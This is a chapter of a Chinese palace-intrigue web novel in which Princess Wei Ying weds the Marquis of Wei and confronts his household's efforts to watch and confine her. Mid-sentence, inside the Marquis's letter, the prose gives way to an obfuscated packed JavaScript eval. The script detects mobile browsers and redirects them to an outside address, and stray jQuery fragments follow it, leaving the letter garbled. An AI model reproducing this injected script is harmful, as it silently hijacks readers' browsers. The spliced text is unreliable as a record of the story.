7. 第 7 章

作品:《吞狼

    听了方鸿绪的问题,卫瀛笑得狡黠,好啊,想难住我?看我怎么把问题抛回去,引你上本宫的钩。


    她微微俯下身,迎上方鸿绪执拗的目光,“那方大人觉得,天底下,什么东西最坚韧呢?想要无愧于天下,答案就在这东西里。”


    方鸿绪怔愣在原地,嘴唇微张,那些慷慨激昂、从容赴死的说辞,此刻都被卫瀛一句反问堵在了肚子里,一个字也说不出来。


    隔了半晌,看火候差不多了,卫瀛才慢悠悠说道,“本宫认为,这世上最坚韧的东西不是钢、不是铁……而是水,至柔方可至韧!”


    方鸿绪垂在身侧的手一颤,“…殿下这番见解,倒是有些玄理。”


    “哈!”卫瀛显出几分得意之色,“你竟敢说‘有些’?本宫面前,也敢如此狂妄?那本宫今日倒要考考你,大人觉得,何为水德?”


    方鸿绪别开视线,似乎没闲心与娇蛮公主论道,犹豫几息,碍于规矩,还是回答说:“…自然是,利万物而不争。”


    “不!”卫瀛驳斥,“本宫认为,水之德,不仅在润物无声,更在于形态万千,外在虽变,但本心不变,这个本心,便是荡涤天地,激浊扬清!”


    方鸿绪望向卫瀛,那话语未尽之意,如雷贯耳,听得他胸口起伏,两人对视良久,方鸿绪转向那碗水,伸手取来,咕咚咚饮尽。


    双手将那碗举过头顶,叩谢道:“臣方鸿绪,谢殿下赐水之恩!”


    卫瀛笑笑,“本宫不缺你这一拜,本宫相信,天无绝人之路,方司徒既然想明白了,日后定能有另一番早就,只待那时,再谢本宫吧。”


    肩舆起驾,缓缓离开。


    回到永乐宫的路上,肩舆悠然穿行于朱墙之间,卫瀛指尖抚过鬓角,事情进展的如此顺利,她本该志得意满,可一抹淡淡的阴影却不经意间笼上心头。


    几缕嫩柳从墙头垂下,掠过肩舆华盖。


    卫瀛下意识的抬手,信手折了一段柳枝。


    嫩绿柳枝在她指尖被弯折、缠绕,柔韧的枝条被揉搓出些许汁液,带起一阵青涩香气。


    ‘他答应的太快了……’


    这个念头一起,便如藤蔓疯长,柳枝将她手指勒出一道浅痕。


    ‘一个被要挟的人,不该如此平静。除非……他眼里看到的根本不是威胁?’


    她猛地将柳枝攥紧,储况折柳时那从容的笑意、应允时那无波的眼眸,此刻都清晰的浮现在她眼前。


    ‘那日杨柳岸,他心里到底在盘算什么?’


    指节被勒得微微发白,她倏地伸展开手指,看着那段已经被揉搓得不成样子的柳条,面无表情的将它丢到了宫道上。


    转日,永乐宫。


    烟素向卫瀛禀报:“魏侯接到您的吩咐后,立即动身去了承阳殿面圣,奴婢暗中瞧着,他没一会儿功夫就出来了。”


    烟素顿了顿,又道,“奴婢今日一早去打听,陛下一纸诏书,已经将方大人全家发往魏州流放了。”


    玉扇略有一丝惊奇,“公主刚救了方大人一命,他就也要去魏州了,倒真是巧了,可惜…还是罪臣之身。”


    卫瀛轻笑一声,储况早有招贤之心,方鸿绪名义上虽然是罪臣,但到了魏州只怕摇身一变,成为座上宾了。而且储况想得多周全,全家流放,免得方鸿绪有后顾之忧。


    父皇啊父皇,在您眼皮子底下,魏侯就挖走了大启肱股之臣!


    很快,魏侯求娶永固公主的消息传遍京畿,景元帝欣然准婚,圣旨降至永乐宫。


    然而旨意末尾却写道:“命禁军统领崔朔,卸任禁军郎中令,转任永固公主府亲卫都尉,率五百禁卫,护公主嫁入魏州,永世戍卫,不得返京!”


    卫瀛跪地接过圣旨,指尖深深陷入锦帛里,鼻尖还是那淡淡的龙涎香。


    父皇,这五百禁卫,是女儿的护卫,还是您插入魏州的一把匕首呢?


    看来,哪怕如今的魏州尚且弱小,您也不会真的放女儿自由。


    何况,这五百护卫怕是要惹来麻烦,储况如何能容得下他们?


    但此后纳吉问名、过聘礼、点嫁妆,无事不顺利,魏侯对景元帝塞来的五百禁军一点反应也没有。


    景元三十三年,春夏之交,永固公主出嫁魏州,随行奴仆护卫千余人,嫁妆车驾浩浩汤汤,绵延二十里,车轮腾起的烟尘遮天蔽日,三日不散。


    一路风和日丽,行至中途,卫瀛择了一处驿馆,吩咐停下修整两日。


    转日晨间,驿馆中随嫁的奴仆和护卫才用完朝食,便听得外面马蹄声阵阵,都出去查看,只见一大群士卒,身披玄铁甲,腰佩长刀,正驱马自官道另一头过来。


    卫瀛在驿馆二楼凭窗而望,那走过来的兵马,马匹阵列整齐,将士目光坚毅,孔武挺拔,旌旗招展,上面的‘魏’字分外夺目。


    为首的两人是魏州家臣,进到驿馆来,叩见卫瀛后,其中一个递来储况亲笔信。


    信中写道:“山高水远,臣特遣三百魏军一同护卫,日后亦做为亲卫,供殿下差遣。然,魏州有律,凡私藏兵刃弓箭超百副者,皆论罪惩处,臣近日深感踟蹰,殿下屈尊纡贵下嫁于臣,但律法若破例,臣


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070823|195215||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    日后恐难服众心,愿殿下恕罪。”


    卫瀛撂下信纸,看向窗外那黑压压的三百魏军。


    好啊!储况不但要限制她禁军亲卫的武装,还要派自己人混进来!


    魏侯储况,果真好盘算!


    “带本宫话给魏侯,就说,劳魏侯费心了。”卫瀛吩咐家臣后,笑颜一展,又转向崔朔,“既然如此,崔统领,你带来的人便贴身负责本宫的起居安全,外围的差事,日后就交给魏侯的‘自己人’吧。”


    此时,那另一位年岁较长的家臣,满脸堆笑开口道,“殿下,臣奉齐氏太夫人命,前来禀告,殿下来魏,乃魏州之幸,本应举全州之力,为殿下营造公主府邸,然近年魏州农事不顺,财税有亏,军资粮饷尚且难以周全,实难为殿下建府。”


    卫瀛面上没什么表情,唯有指尖在椅子扶手上轻轻敲了下。玉扇已面露不满,上前半步刚欲开口,卫瀛一道视线便飘来,玉扇忙敛去表情,闭上了嘴。


    那家臣抬眼觑着主仆神色,卫瀛却笑道,“怎么不说了?继续啊。”


    家臣笑意如初,再度说道,“太夫人特意按规制,在侯府里为殿下挑了一处居所,清幽雅致,取名沐云馆,洒扫一新,恭候殿下銮驾。”


    他从袖袋里取出一副小卷轴,“太夫人特意命臣带来侯府的图纸,标好了沐云馆位置和其他各处,供殿下过目。”


    卫瀛接过展开,目光逡巡了半晌,才在侯府西南一角找到‘沐云馆’,刚好和魏侯书房、居所呈对角,是侯府里距离储况最远的地方。且这沐云馆四周园林稀疏,无遮无挡,意味着她的一举一动,外人都一目了然,极易被监视。


    “果真‘清幽’,是个好地方!”卫瀛眉眼含笑,又说道,“‘沐云馆’?,太夫人取的这名字不俗。”


    彩云再高再美,沐洗之后,还能剩下什么?空无一物!


    好一个太夫人!本宫人还没到,下马威就先来了!


    卫瀛厚赏了两位家臣,便让他们退下了。


    玉扇此刻凑过来,“公主,这,这如何能忍!什么‘沐云馆’,侯府里的院子能有多大?还离魏侯待的地方那么远!”


    “远吗?”卫瀛眯起眼,指尖点在那图纸上,从沐云馆开始,一点点滑至储况书房。


    储况,齐氏,你们一个想把本宫关进笼子,一个想把本宫丢在无人问津的角落。


    可惜。


    她指尖在沐云馆和书房之间一点稳稳定住。


    远又如何,小又如何,铜墙铁壁又如何?本宫偏要从这里开始,闯出一条通天的大道!